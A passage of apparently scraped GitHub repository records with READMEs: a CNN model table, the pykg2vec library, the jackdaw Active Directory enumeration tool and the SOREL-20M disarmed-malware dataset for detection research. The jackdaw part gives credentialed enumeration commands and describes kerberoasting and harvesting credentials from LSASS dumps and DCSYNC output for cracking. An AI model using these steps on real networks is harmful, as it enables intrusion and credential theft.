* 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>SEResNeXt101</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td rowspan=\"3\">Inception</td>\n          <td>InceptionV4</td>\n          <td>(299 * 299)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>Inception_ResNet_V1</td>\n          <td>(299 * 299)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>Inception_ResNet_V2</td>\n          <td>(299 * 299)</td>\n     </tr>\n     <tr align=\"center\">\n          <td rowspan=\"3\">SE_ResNet</td>\n          <td>SE_ResNet_50</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>SE_ResNet_101</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>SE_ResNet_152</td>\n          <td>(224 * 224)</td>\n     </tr>\n     </tr align=\"center\">\n          <td>SqueezeNet</td>\n          <td align=\"center\">SqueezeNet</td>\n          <td align=\"center\">(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td rowspan=\"4\">DenseNet</td>\n          <td>DenseNet_121</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>DenseNet_169</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>DenseNet_201</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>DenseNet_269</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>ShuffleNetV2</td>\n          <td>ShuffleNetV2</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td rowspan=\"5\">ResNet</td>\n          <td>ResNet_18</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>ResNet_34</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>ResNet_50</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>ResNet_101</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>ResNet_152</td>\n          <td>(224 * 224)</td>\n     </tr>\n</table>\n\n## References\n1. MobileNet_V1: [Efficient Convolutional Neural Networks for Mobile Vision Applications](https://arxiv.org/abs/1704.04861)\n2. MobileNet_V2: [Inverted Residuals and Linear Bottlenecks](https://arxiv.org/abs/1801.04381)\n3. MobileNet_V3: [Searching for MobileNetV3](https://arxiv.org/abs/1905.02244)\n4. EfficientNet: [EfficientNet: Rethinking Model Scaling for Convolutional Neural Networks](https://arxiv.org/abs/1905.11946)\n5. The official code of EfficientNet: https://github.com/tensorflow/tpu/tree/master/models/official/efficientnet\n6. ResNeXt: [Aggregated Residual Transformations for Deep Neural Networks](https://arxiv.org/abs/1611.05431)\n7. Inception_V4/Inception_ResNet_V1/Inception_ResNet_V2: [Inception-v4,  Inception-ResNet and the Impact of Residual Connectionson Learning](https://arxiv.org/abs/1602.07261)\n8. The official implementation of Inception_V4: https://github.com/tensorflow/models/blob/master/research/slim/nets/inception_v4.py\n9. The official implementation of Inception_ResNet_V2: https://github.com/tensorflow/models/blob/master/research/slim/nets/inception_resnet_v2.py\n10. SENet: [Squeeze-and-Excitation Networks](https://arxiv.org/abs/1709.01507)\n11. SqueezeNet: [SqueezeNet: AlexNet-level accuracy with 50x fewer parameters and <0.5MB model size](https://arxiv.org/abs/1602.07360)\n12. DenseNet: [Densely Connected Convolutional Networks](https://arxiv.org/abs/1608.06993)\n13. https://zhuanlan.zhihu.com/p/37189203\n14. ShuffleNetV2: [ShuffleNet V2: Practical Guidelines for E\ufb03cient CNN Architecture Design\n](https://arxiv.org/abs/1807.11164)\n15. https://zhuanlan.zhihu.com/p/48261931\n16. ResNet: [Deep Residual Learning for Image Recognition](https://arxiv.org/abs/1512.03385)\n17. RegNet: [Designing Network Design Spaces](https://arxiv.org/abs/2003.13678)", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Sujit-O/pykg2vec", "link": "https://github.com/Sujit-O/pykg2vec", "tags": ["knowledge-graph", "embedding-models", "embedding-python", "representation-learning"], "stars": 511, "description": "Python library for knowledge graph embedding and representation learning.", "lang": "Python", "repo_lang": "", "readme": "[![Documentation Status](https://readthedocs.org/projects/pykg2vec/badge/?version=latest)](https://pykg2vec.readthedocs.io/en/latest/?badge=latest) [![CircleCI](https://circleci.com/gh/Sujit-O/pykg2vec.svg?style=svg)](https://circleci.com/gh/Sujit-O/pykg2vec) [![Python 3.7](https://img.shields.io/badge/python-3.7-blue.svg)](https://www.python.org/downloads/release/python-370/) [![Build Status](https://travis-ci.org/Sujit-O/pykg2vec.svg?branch=master)](https://travis-ci.org/Sujit-O/pykg2vec) [![PyPI version](https://badge.fury.io/py/pykg2vec.svg)](https://badge.fury.io/py/pykg2vec) [![GitHub license](https://img.shields.io/github/license/Sujit-O/pykg2vec.svg)](https://github.com/Sujit-O/pykg2vec/blob/master/LICENSE) [![Coverage Status](https://coveralls.io/repos/github/Sujit-O/pykg2vec/badge.svg?branch=master)](https://coveralls.io/github/Sujit-O/pykg2vec?branch=master) [![Twitter](https://img.shields.io/twitter/url/https/github.com/Sujit-O/pykg2vec.svg?style=social)](https://twitter.com/intent/tweet?text=Wow:&url=https%3A%2F%2Fgithub.com%2FSujit-O%2Fpykg2vec) \n\n# Pykg2vec: Python Library for KGE Methods \nPykg2vec is a library for learning the representation of entities and relations in Knowledge Graphs built on top of PyTorch 1.5 (TF2 version is available in [tf-master](https://github.com/Sujit-O/pykg2vec/tree/tf2-master) branch as well). We have attempted to bring state-of-the-art Knowledge Graph Embedding (KGE) algorithms and the necessary building blocks in the pipeline of knowledge graph embedding task into a single library. We hope Pykg2vec is both practical and educational for people who want to explore the related fields.  \n\nFeatures:\n* Support state-of-the-art KGE model implementations and benchmark datasets. (also support custom datasets)\n* Support automatic discovery for hyperparameters.\n* Tools for inspecting the learned embeddings. \n  * Support exporting the learned embeddings in TSV or Pandas-supported format.\n  * Interactive result inspector.\n  * TSNE-based, KPI summary visualization (mean rank, hit ratio) in various format. (csvs, figures, latex table)\n\n![](https://github.com/Sujit-O/pykg2vec/blob/master/figures/pykg2vec_structure.png?raw=true)\n\nWe welcome any form of contribution! Please refer to [CONTRIBUTING.md](https://github.com/Sujit-O/pykg2vec/blob/master/CONTRIBUTING.md) for more details. \n\n## To Get Started \nBefore using pykg2vec, we recommend users to have the following libraries installed:\n* python >=3.7 (recommended)\n* pytorch>= 1.5\n\nQuick Guide for Anaconda users:\n\n* Setup a Virtual Environment: we encourage you to use anaconda to work with pykg2vec:\n```bash\n(base) $ conda create --name pykg2vec python=3.7\n(base) $ conda activate pykg2vec\n```\n* Setup Pytorch: we encourage to use pytorch with GPU support for good training performance. However, a CPU version also runs. The following sample commands are for setting up pytorch:\n\n```bash\n# if you have a GPU with CUDA 10.1 installed\n(pykg2vec) $ conda install pytorch torchvision cudatoolkit=10.1 -c pytorch\n# or cpu-only\n(pykg2vec) $ conda install pytorch torchvision cpuonly -c pytorch\n```\n\n* Setup Pykg2vec:\n```bash\n(pykg2vec) $ git clone https://github.com/Sujit-O/pykg2vec.git\n(pykg2vec) $ cd pykg2vec\n(pykg2vec) $ python setup.py install\n```\n\nFor beginners, these papers, [A Review of Relational Machine Learning for Knowledge Graphs](https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=7358050), [Knowledge Graph Embedding: A Survey of Approaches and Applications](https://ieeexplore.ieee.org/document/8047276), and [An overview of embedding models of entities and relationships for knowledge base completion](https://arxiv.org/abs/1703.08098) can be good starting points!\n\n## User Documentation\nThe documentation is [here](https://pykg2vec.readthedocs.io/). \n\n## Usage Examples\nWith pykg2vec command-line interface, you can\n1. Run a single algorithm with various models and datasets (customized dataset also supported).\n    ```\n    # Check all tunnable parameters.\n    (pykg2vec) $ pykg2vec-train -h\n\n    # Train TransE on FB15k benchmark dataset.\n    (pykg2vec) $ pykg2vec-train -mn TransE\n\n    # Train using different KGE methods.\n    (pykg2vec) $ pykg2vec-train -mn [TransE|TransD|TransH|TransG|TransM|TransR|Complex|ComplexN3|\n                        CP|RotatE|Analogy|DistMult|KG2E|KG2E_EL|NTN|Rescal|SLM|SME|SME_BL|HoLE|\n                        ConvE|ConvKB|Proje_pointwise|MuRP|QuatE|OctonionE|InteractE|HypER]\n\n    # For KGE using projection-based loss function, use more processes for batch generation.\n    (pykg2vec) $ pykg2vec-train -mn [ConvE|ConvKB|Proje_pointwise] -npg [the number of processes, 4 or 6]\n\n    # Train TransE model using different benchmark datasets.\n    (pykg2vec) $ pykg2vec-train -mn TransE -ds [fb15k|wn18|wn18_rr|yago3_10|fb15k_237|ks|nations|umls|dl50a|nell_955]\n\n    # Train TransE model using your own hyperparameters.\n    (pykg2vec) $ pykg2vec-train -exp True -mn TransE -ds fb15k -hpf ./examples/custom_hp.yaml\n\n    # Use your own dataset\n    (pykg2vec) $ pykg2vec-train -mn TransE -ds [name] -dsp [path to the custom dataset]\n    ```\n2. Tune a single algorithm.\n    ```\n    # Tune TransE using the benchmark dataset.\n    (pykg2vec) $ pykg2vec-tune -mn [TransE] -ds [dataset name]\n\n    # Tune TransE with your own search space\n    (pykg2vec) $ pykg2vec-tune -exp True -mn TransE -ds fb15k -ssf ./examples/custom_ss.yaml\n    ```\n3. Perform Inference Tasks (more advanced).\n    ```\n    # Train a model and perform inference tasks.\n    (pykg2vec) $ pykg2vec-infer -mn TransE\n\n    # Perform inference tasks over a pretrained model.\n    (pykg2vec) $ pykg2vec-infer -mn TransE -ld [path to the pretrained model]\n    ```\n\\* NB: On Windows, use `pykg2vec-train.exe`, `pykg2vec-tune.exe` and `pykg2vec-infer.exe` instead.\n\nFor more usage of pykg2vec APIs, please check the [programming examples](https://pykg2vec.readthedocs.io/en/latest/auto_examples/index.html).\n\n## Citation\nPlease kindly consider citing our paper if you find pykg2vec useful for your research. \n```\n  @article{yu2019pykg2vec,\n  title={Pykg2vec: A Python Library for Knowledge Graph Embedding},\n  author={Yu, Shih Yuan and Rokka Chhetri, Sujit and Canedo, Arquimedes and Goyal, Palash and Faruque, Mohammad Abdullah Al},\n  journal={arXiv preprint arXiv:1906.04239},\n  year={2019}\n  }\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "skelsec/jackdaw", "link": "https://github.com/skelsec/jackdaw", "tags": [], "stars": 511, "description": "gather gather gather", "lang": "Python", "repo_lang": "", "readme": "# jackdaw\ngather gather gather\n![jackdaw_card](https://user-images.githubusercontent.com/19204702/69013611-6306a600-0982-11ea-8c21-d9f1e6efb9bf.jpg)\n\n# What is this?\nJackdaw is here to collect all information in your domain, store it in a SQL database and show you nice graphs on how your domain objects interact with each-other an how a potential attacker may exploit these interactions.\nIt also comes with a handy feature to help you in a password-cracking project by storing/looking up/reporting hashes/passowrds/users.\n\n# Quick usage info\n - If not using automatic collection (eg. not on Windows) you will need to create an initial empty database via `dbinit`\n - First you need to perform `enum`. This can be done automatically on windows by double-clicking on the executable, or typing `jackdaw.exe auto`.\n - Second you will need to run `nest` to get the web interface. By default it is served under `http://127.0.0.1:5000/nest` there is a SWAGGER documented API under `http://127.0.0.1:5000/ui`.\n - Web interface, you will need to go to the domain view and click on `Generate graph cache` only once to get the edge information in a cache file. it might take a while but in the command line you will see a progress bar.\n - After graph cache is done, you can play with the graph on the `graph view` but don't forget to select the corrrect cache number on the top left.\n\n# Performance tricts/tips\nThis section will be regurarly updated based on user feedback.\n### Data gathering\nNo advice here, while some improvements can be done in code there is nothing that a generic can do.\n### Graph data cache file generation\nGraph data cache file generation must be done on each graph once (and only once) which can take a while using the default sqlalchemy tool.  \nPerformance and speed can be significantly (over 50x more speed and 20x less memory) if you use the sqlite backend AND put the \"sqlite3\" command line utility somewhere in the `PATH`. I'd recommend this to every user.\n### Path calulcation and Graph data load\nNow here comes the big tradeoff part. Early implementation of Jackdaw used the `networkx` module as the graph backend since it is completely written in Python. But this came at a really significant memory and speed cost. To have Jackdaw pure Python, this option still exists however using the `igraph` backend is now the default.  \nNote: `igraph` is a C++ library with Python bindings. It has precompiled wheels for Windows and major linux distros but if you use Jackdaw on something else (embedded systems/mobile phones/web browsers) you will either need to switch back to `networkx` or suffer with the hours long compilation time.\n\n# Example commands\n### Automatic enumeration - windows only, with domain-joined user -\nNo need to pre-initialise the database, it will be done automatically.\nUsing the distributed binary you can just double-click on `jackdaw.exe`  \nUsing as a python script `jackdaw auto`\n\n### DB init\n`jackdaw --sql sqlite:///<full path here>/test.db dbinit`  \nON LINUX SYSTEMS `<full path here>` includes the firest `/` so you will have `////` four (4) dashes before the file name. Don't get freaked out.  \n\n### Enumeration\n#### Full enumeration with integrated sspi - windows only\n`jackdaw --sql sqlite:///test.db enum 'ldap+sspi-ntlm://<domain>\\<placeholder>@10.10.10.2' 'smb+sspi-ntlm://<domain>\\<placeholder>@10.10.10.2'`\n#### Full enumeration with username and password - platform independent\nThe passowrd is `Passw0rd!`  \n`jackdaw --sql sqlite:///test.db enum 'ldap+ntlm-password://TEST\\victim:Passw0rd!@10.10.10.2' 'smb+ntlm-password://TEST\\victim:Passw0rd!@10.10.10.2'`\n#### LDAP-only enumeration with username and password - platform independent\nThe passowrd is `Passw0rd!`  \n`jackdaw --sql sqlite:///test.db ldap 'ldap+ntlm-password://TEST\\victim:Passw0rd!@10.10.10.2'`\n\n### Start interactive web interface to plot graph and access additional features\n\n`jackdaw --sql sqlite:///<FULL PATH TO DB> nest`  \n\nOpen `http://127.0.0.1:5000/ui` for the API  \n\nPlease see the `Building the UI` section further down to learn how to build the UI. Once built:\n\nOpen `http://127.0.0.1:5000/nest` for the graph interface (shows the graph, but far from working)  \n\n# Features\n## Data acquisition \n#### via LDAP\nLDAP enumeration phase acquires data on AD info, User, Machine, OU, Group objects which will be reprezented as a node in the graph, and as a separate table in the DB. Additionally all afforementioned objects' Security Descriptior will be parsed and the ACLs for the DACL added to the DB. This, together with the memebership information will be represented as edges in the garph. Additionally custom SQL queries can be performed on any of the afforementioned data types when needed.  \n\n#### via SMB\nSMB enumeration phase acquires data on shares, localgroups, sessions, NTLM data via connecting to each machine in the domain (which is acquired via LDAP)  \n\n#### via Kerberos\nKerberos module does automatic kerberoasting and aspreproasting\n\n#### via LSASS dumps (optional)  \nThe framework allows users to upload LSASS memory dumps to store credentials and extend the session information table. Both will be used as additional edges in the graph (shared password and session respectively). The framework also uses this information to create a password report on weak/shared/cracked credentials.  \n\n#### via DCSYNC results (optional)\nThe framework allows users to upload impacket's DCSYNC files to store credentials. This be used as additional edges in the graph (shared password). The framework also uses this information to create a password report on weak/shared/cracked credentials.  \n\n#### via manual upload (optional)\nThe framework allows manually extending the available DB in every aspect. Example: when user session information on a given computer is discovered (outside of the automatic enumeration) there is a possibility to manually upload these sessions, which will populate the DB and also the result graph\n\n## Graph\nThe framework can generate a graph using the available information in the database and plot it via the web UI (nest). Furthermore the graph generation and path canculations can be invoked programmatically, either by using the web API (/ui endpoint) or the grph object's functions.  \n\n## Anomlaies detection  \nThe framework can identify common AD misconfigurations without graph generation. Currently only via the web API.  \n\n#### User\nUser anomalies detection involve detection of insecure UAC permissions and extensive user description values. This feature set is expected to grow in the future as new features will be implemented.\n\n#### Machine\nMachine anomalies detection involve detection of insecure UAC permissions, non-mandatory SMB singing, outdated OS version, out-of-domain machines. This feature set is expected to grow in the future as new features will be implemented.\n\n## Password cracking\n**The framework does not performing any cracking, only organizing the hashes and the cracking results**  \n**currently main focus is on impacket and aiosmb's dcsync results !NT and LM hashes only!**  \nSample porcess is the following:  \n1. Harvesting credentials as text file via impacket/aiosmb or as memory dumps of the LSASS process via whatever tool you see fit.\n2. Upload the harvested credentials via the API\n3. Poll uncracked hases via the API\n4. Crack them (hashcat?)\n5. Upload the results to the framework via the API\n6. Generate a report on the cracked/uncracked users and password strength and password sharing\n  \n*note form author: This feature was implemented for both attackers and defenders. Personally I don't see much added value on either side, since at the point one obtained the NT hash of a user it's just as good as the password... Nonetheless, more and more companies are performing password strength excercises, and this feature would help them. As for attackers: it is just showing off at this point, but be my guest. Maybe scare management for extra points.*  \n\n\n# Important\nThis project is in experimental phase! This means multiple things:\n1. it may crash\n2. the controls you are using might change in the future (most likely)\n3. (worst part) The database design is not necessary suitable for future requests so it may change. There will be no effort to maintain backwards compatibility with experimental-phase DB structure!\n\n\n# Technical part\n\n## Database backend\nJackdaw uses SQLAlchemy ORM module, which gives you the option to use any SQL DB backend you like. The tests are mainly done on SQLite for ovbious reasons. There will be no backend-specific commands used in this project that would limit you.\n\n## Building the UI\n**THIS IS ONLY NEEDED IF YOU INSTALL VIA GIT AND/OR CHANGE SOMETHING IN THE UI CODE**  \nThe UI was written in React. Before first use/installation you have to build it. For this, you will need `nodejs` and `npm` installed. Then:\n\n 1. Go to `jackdaw/nest/site/nui`\n 2. Run `npm install`\n 3. Run `npm run build`\n\nOnce done with the above, the UI is ready to play with.\n\n# Kudos\n\"If I have seen further it is by standing on the shoulders of Giants.\"\n#### For the original idea \nBloodHound team\n#### For the ACL edge calculation\n@dirkjanm (https://github.com/dirkjanm/)\n#### For the awesome UI\nZsolt Imre (https://github.com/keymandll)\n#### For the data collection parts\nplease see kudos section in [`aiosmb`](https://github.com/skelsec/aiosmb) and [`msldap`](https://github.com/skelsec/msldap) modules\n#### In case I forgot to mention someone pls send a PR\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "sophos/SOREL-20M", "link": "https://github.com/sophos/SOREL-20M", "tags": [], "stars": 511, "description": "Sophos-ReversingLabs 20 million sample dataset", "lang": "Python", "repo_lang": "", "readme": "[SoReL-20M](#SoReL-20M)\n\n[Terms of use](#terms-of-use)\n\n[Requirements](#Requirements)\n\n[Downloading the data](#downloading-the-data)\n\n[A note on dataset size](#a-note-on-dataset-size)\n\n[Quickstart](#Quickstart)\n\n[Neural network training](#neural-network-training)\n\n[LightGBM training](#lightgbm-training)\n\n[Frequently Asked Questions](#frequently-asked-questions)\n\n[Copyright and License](#copyright-and-license)\n\n\n\n\n\n# SoReL-20M\nSophos-ReversingLabs 20 Million dataset\n\nThe code included in this repository produced the baseline models available at `s3://sorel-20m/09-DEC-2020/baselines`\n\nThis code depends on the SOREL dataset available via Amazon S3 at `s3://sorel-20m/09-DEC-2020/processed-data/`; to train the lightGBM models you can use the npz files available at `s3://sorel-20m/09-DC-2020/lightGBM-features/` or use the scripts included here to extract the required files from the processed data.\n\nIf you use this code or this data in your own research, please cite our paper: \"SOREL-20M: A Large Scale Benchmark Dataset for Malicious PE Detection\n\" found at https://arxiv.org/abs/2012.07634 using the following citation:\n```\n@misc{harang2020sorel20m,\n      title={SOREL-20M: A Large Scale Benchmark Dataset for Malicious PE Detection}, \n      author={Richard Harang and Ethan M. Rudd},\n      year={2020},\n      eprint={2012.07634},\n      archivePrefix={arXiv},\n      primaryClass={cs.CR}\n}\n```\n\n# Terms of use\n\nPlease read the [Terms of Use](https://github.com/sophos-ai/SOREL-20M/blob/master/Terms%20and%20Conditions%20of%20Use.pdf) before using this code or accessing the data.\n\n# Requirements\n\nPython 3.6+.  See `environment.yml` for additional package requirements.\n\n# Downloading the data\n\nIndividual files are available directly via https; e.g. you can download one of the baseline checkpoints via web at the url `http://sorel-20m.s3.amazonaws.com/09-DEC-2020/baselines/checkpoints/FFNN/seed0/epoch_1.pt`\n\nFor a large number of files, we recommend using the [AWS command line interface](https://aws.amazon.com/cli/).  The SOREL-20M S3 bucket is public, so no credentials are required.  For example, to download all feedforward neural network checkpoints for all seeds, use the command `aws s3 cp s3://sorel-20m/09-DEC-2020/baselines/checkpoints/FFNN/ . --recursive`\n\nIt is possible to download the entire dataset this way, however we strongly recomend reading about the [dataset size](#a-note-on-dataset-size) before doing so and ensuring that you will not incur bandwidth fees or exhaust your available disk space in so doing.\n\n# A note on dataset size\n\nThe full size of this dataset is approximately 8TB.  It is highly recommended that you only obtain the specific elements you need. Files larger than 1GB are noted below.\n\n```\ns3://sorel-20m/09-DEC-2020/\n|   Terms and Conditions of Use.pdf -- the terms you agree to by using this data and code\n|\n+---baselines\n|   +---checkpoints\n|   |   +---FFNN - per-epoch checkpoints for 5 seeds of the feed-forward neural network\n|   |   +---lightGBM - final trained lightGBM model for 5 seeds\n|   |\n|   +---results\n|       |  ffnn_results.json - index file of results, required for plotting\n|       |  lgbm_results.json - index file of results, required for plotting\n|       |\n|       +---FFNN\n|       |   +---seed0-seed4 - individual seed results, ~1GB each\n|       |\n|       +---lightgbm\n|           +---seed0-seed4 - individual seed results, ~1GB each\n|\n+---binaries\n|      approximately 8TB of zlib compressed malware binaries\n|\n+---lightGBM-features\n|      test-features.npz - array of test data for lightGBM; 37GB\n|      train-features.npz - array of training data for lightGBM; 113GB\n|      validation-features.npz - array of validation data for lightGBM; 22GB\n|\n+---processed-data\n    |   meta.db - contains index, labels, tags, and counts for the data; 3.5GB\n    |\n    +---ember_features - LMDB directory with baseline features, ~72GB\n    +---pe_metadata - LMDB directory with full metadata dumps, ~480GB\n```\n\nNote: values in the LMDB files are serialized via msgpack and compressed via zlib; the code below handles this extraction automatically, however you will need to decompress and deserialize by hand if you use your own code to handle the data.\n\nPlease see the file `./pe_full_metadata_example/32c37c352802fb20004fa14053ac13134f31aff747dc0a2962da2ea1ea894d74.json` for an example of the metadata contained in the pe_metadata lmdb database.\n\n# Quickstart\n\nThe main scripts of interest are:\n1. `train.py` for training deep learning or (on a machine with sufficient RAM) LightGBM models\n2. `evaluate.py` for taking a pretrained model and producing a results csv\n3. `plot.py` for plotting the results\n\nAll scripts have multiple commands, documented via --help\n\nOnce you have cloned the repository, enter the repository directory and create a conda environment:\n\n```\ncd SoReL-20M\nconda env create -f environment.yml\nconda activate sorel\n```\n\nEnsure that you have the SOREL processed data in a local directory.  Edit `config.py` to indicate the device to use (CPU or CUDA) as well as the dataset location and desired checkpoint directory.  The dataset location should point to the folder that contains the `meta.db` file.\n\n\n*Please note*: the complete contents of processed-data require approximately 552 GB of disk space, the bulk of which is the PE metadata and not used in training the baseline models.  If you only wish to retrain the baseline models, then you will need only the following files (approximately 78GB in total): \n\n```\n/meta.db\n/ember_features/data.mdb\n/ember_features/lock.mdb\n```\n\nThe file `shas_missing_ember_features.json` within this repository contains a list of sha256 values that indicate samples for which no Ember v2 feature values could be extracted; it is _highly recommended_ that the location of this file be passed to `--remove_missing_features` parameter in `train.train_network`, `evaluate.evaluate_network`, and `evaluate.evaluate_lgb` to significantly speed up the data loading time. If is it not provided, you should specify `--remove_missing_features='scan'` which will scan all keys to check for and remove ones with missing features prior to building the dataloader; if the dataloader reaches a missing feature it will cause an error.\n\nYou can train a neural network model with the following (note that config.py values can be overridden via command line switches:\n```\npython train.py train_network --remove_missing_features=shas_missing_ember_features.json \n```\n\nAssuming that the checkpoint has been written to /home/ubuntu/checkpoints/ and you wish to place the results.csv file in /home/ubuntu/results/0 you may produce a test set evaluation as follows:\n\n```\npython evaluate.py evaluate_network /home/ubuntu/results/0 /home/ubuntu/checkpoints/epoch_9.pt \n```\n\nTo enable plotting of multiple series, the `plot.plot_roc_distributions_for_tag` function requires a json file that maps the name for a particular run to the results.csv file for that run.  \n\n```\n# Re-plot baselines -- note that the below command assumes \n# that the baseline models at s3://sorel-20m/09-DEC-2020/baselines\n# have been downloaded to the /baselines directory\npython plot.py plot_roc_distribution_for_tag /baselines/results/ffnn_results.json ./ffnn_results.png\n```\n\n# Neural network training\n\nWhile a GPU allows for faster training (10 epochs can be completed in approximately 90 minutes), this model can be also trained via CPU; the provided results were obtained via GPU on an Amazon g3.4xlarge EC2 instance starting with a \"Deep Learning AMI (Ubuntu 16.04) Version 26.0 (ami-025ed45832b817a35)\" and updating it as above.  In practice, disk I/O loading features from the feature database seems to be a rate-limiting step assuming a GPU is used, so running on a machine with multiple cores and using a drive with high IOPS is recommended.  Training the network requires approximately 12GB of RAM when trained via CPU, though it varies slightly with the number of cores.  It is also highly recommended to use the `--remove_missing_features=shas_missing_ember_features.json` option as this significantly improves loading time of the data.\n\nNote: if you get an error message `RuntimeError: received 0 items of ancdata` this is typically caused by the limit on the maximum number of open files being too low; this may be increased via the `ulimit` command.  In some cases -- if you use a large number of parallel workers -- it may also be neccessary to increase shared memory.\n\nThe commands to train and evaluate a neural network model are\n\n```\npython train.py train_network\npython evaluate.py evaluate_network\n```\n\nUse `--help` for either script to see details and options.  The model itself is given in `nets.PENetwork`\n\n# LightGBM training\n\nDue to the size of the dataset, training a boosted model is difficult.  We use lightGBM, which has relatively memory-efficient data handlers, allowing it to fit a model in-memory using approximately 175GB of RAM.  The lightGBM model provided in this repository was trained on an Amazon m5.24xlarge instance.  \n\nThe script `build_numpy_arrays_for_lightgbm.py` will take training/validation/testing datasets and split them into three .npz files in the specified data location that can then be used for training a LightGBM model.  Please note that these files will be extremely large (113GB, 23GB, and 38GB, respectively) using the provided Ember features.\n\nAlternatively, you may use the pre-extracted npz files available at `s3://sorel-20m/09-DEC-2020/lightGBM-features/` which contain Ember features using the default time splits for training, validation, and testing.\n\nThe lightGBM model can be trained in much the same manner as the neural network\n\n```\npython train.py train_lightGBM --train_npz_file=/dataset/train-features.npz --validation_npz_file=/dataset/validation-features.npz --model_configuration_file=./lightgbm_config.json --checkpoint_dir=/dataset/baselines/checkpoints/lightGBM/run0/\n```\n\nAssuming that you've placed the S3 dataset in /dataset as suggested above, this command will perform a single evaluation run.\n```\npython evaluate.py evaluate_lgb /dataset/baselines/checkpoints/lightGBM/seed0/lightgbm.model /home/ubuntu/lightgbm_eval --remove_missing_features=./shas_missing_ember_features.json \n```\n\nThe script used to generate the numpy array files from the database are found in `generate_numpy_arrays_for_lightgbm.dump_data_to_numpy`.  Note that this script requires approximately as much memory as training the model; a m5.24xlarge or equivalent EC2 instance type is recommended.\n\n# Frequently Asked Questions\n\n**Are there any benign samples available?**\n\nUnfortunately, due to the risk of intellectual property violations, we are not able to make the benign samples freely available. The samples are available via ReversingLabs, and anectodally a large number of them also appear to be available via VirusTotal. We are not able to provide any further assistance in this respect.\n\n**I computed the SHA256 for a malware sample and it's different from the SHA256 value suggested by the file name; why?**\n\nAll malware samples have been disarmed as described below; the SHA256 value in the file name is for the original, unmodified file.\n\n**How were the files disarmed?**\n\nThe OptionalHeader.Subsystem flag and the FileHeader.Machine header value were both set to 0 to prevent accidental execution of the files.  \n\n**Can you provide a tool to re-arm the files, or the original non-disarmed file?**\n\nUnfortunately, we cannot assist anyone in re-arming the file or in obtaining the original, non-disarmed sample.  As with the benign files, they are available via ReversingLabs, and also a large number of them appear to be available via VirusTotal. \n\n**How are the malware/benign labels determined?**\n\nWe use a combination of non-public, internal information as well as a number of static rules and analyses to obtain the ground truth labels.\n\n**Isn't releasing this data dangerous?**\n\nAs we describe in our [blog post](https://ai.sophos.com/2020/12/14/sophos-reversinglabs-sorel-20-million-sample-malware-dataset/):\n\n> The malware we\u2019re releasing is \u201cdisarmed\u201d so that it will not execute.  This means it would take knowledge, skill, and time to reconstitute the samples and get them to actually run.  That said, we recognize that there is at least some possibility that a skilled attacker could learn techniques from these samples or use samples from the dataset to assemble attack tools to use as part of their malicious activities.  However, in reality, there are already many other sources attackers could leverage to gain access to malware information and samples that are easier, faster and more cost effective to use. In other words, this disarmed sample set will have much more value to researchers looking to improve and develop their independent defenses than it will have to attackers. \n\n**Is the feature extraction code available for me to apply to my own samples?**\n\nThe feature extraction function is available from the [EMBER repository](https://github.com/elastic/ember/) -- specifically we used the `PEFeatureExtractor.feature_vector()` method in [features.py](https://github.com/elastic/ember/blob/master/ember/features.py).\n\nWe parallelized this code and constructed the dataset using Sophos AI internal tools, and are unable to provide this code; please see below for some notes on feature extraction and extending the dataset.\n\n**How can I add additional files/features to the dataset?**\n\nWe are not accepting additional data for the main dataset. To add new features, files, or both to your own personal copy of it, we have the following recommendations:\n\n1. The `meta.db` sqlite file serves as the index for the LMDB database, and contains metadata and labels.  At a minimum, for each file, the sqlite database should contain columns for: the file sha256, the malware label, and a first-seen timestamp.\n2. To serialize a feature vector to a LMDB database, each individual sample's feature vector needs to be encoded into a dictionary with a key of zero and a value that is a 1-d list of floats, then serialized via msgpack and compressed via zlib, then inserted into an LMDB database with a key as the hash of the original file.  If you are extracting new features for the existing files, it's important to note that the filenames of the samples are the sha256 values of the original, non-disarmed files, and so you should just re-use that filename rather than compute the hash of the file yourself. \n3. We obtained best performance for feature extraction using RAM disks wherever possible -- for the files that features are being extracted from at a minimum, and if memory permits, for the LMDB databases as well.\n\n**What are the .npz file and how do they differ from the LMDB data?**\n\nThe .npz files in the lightGBM-features directory contain features that are identical to the features in the LMDB database (with training, validation, and test splits given as per the timestamps in `config.py`) but converted to flat numpy arrays for convenience in training the lightGBM models. They contain only binary labels, no tag information.\n\n**The values for the \"tag\" columns are counts, not binary values; why?**\n\nAs described in our [paper](https://arxiv.org/abs/1905.06262) on the tag generation, we parse vendor threat feed information for tokens indicative of the behavioral category of the mwlware; the value in these columns denote the number of tokens we identified for that tag for that sample. It may be taken as correlated with the degree of certainty in the tag, but not calibrated to a standard scale. For most applications we suggest binarizing this value by zero/non-zero.\n\n\n# Copyright and License\n\nCopyright 2020, Sophos Limited. All rights reserved.\n\n'Sophos' and 'Sophos Anti-Virus' are registered trademarks of\nSophos Limited and Sophos Group. All other product and company\nnames mentioned are trademarks or registered trademarks of their\nrespective owners.\n\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use these files except in compliance with the License.\nYou may obtain a copy of the License at\n\n    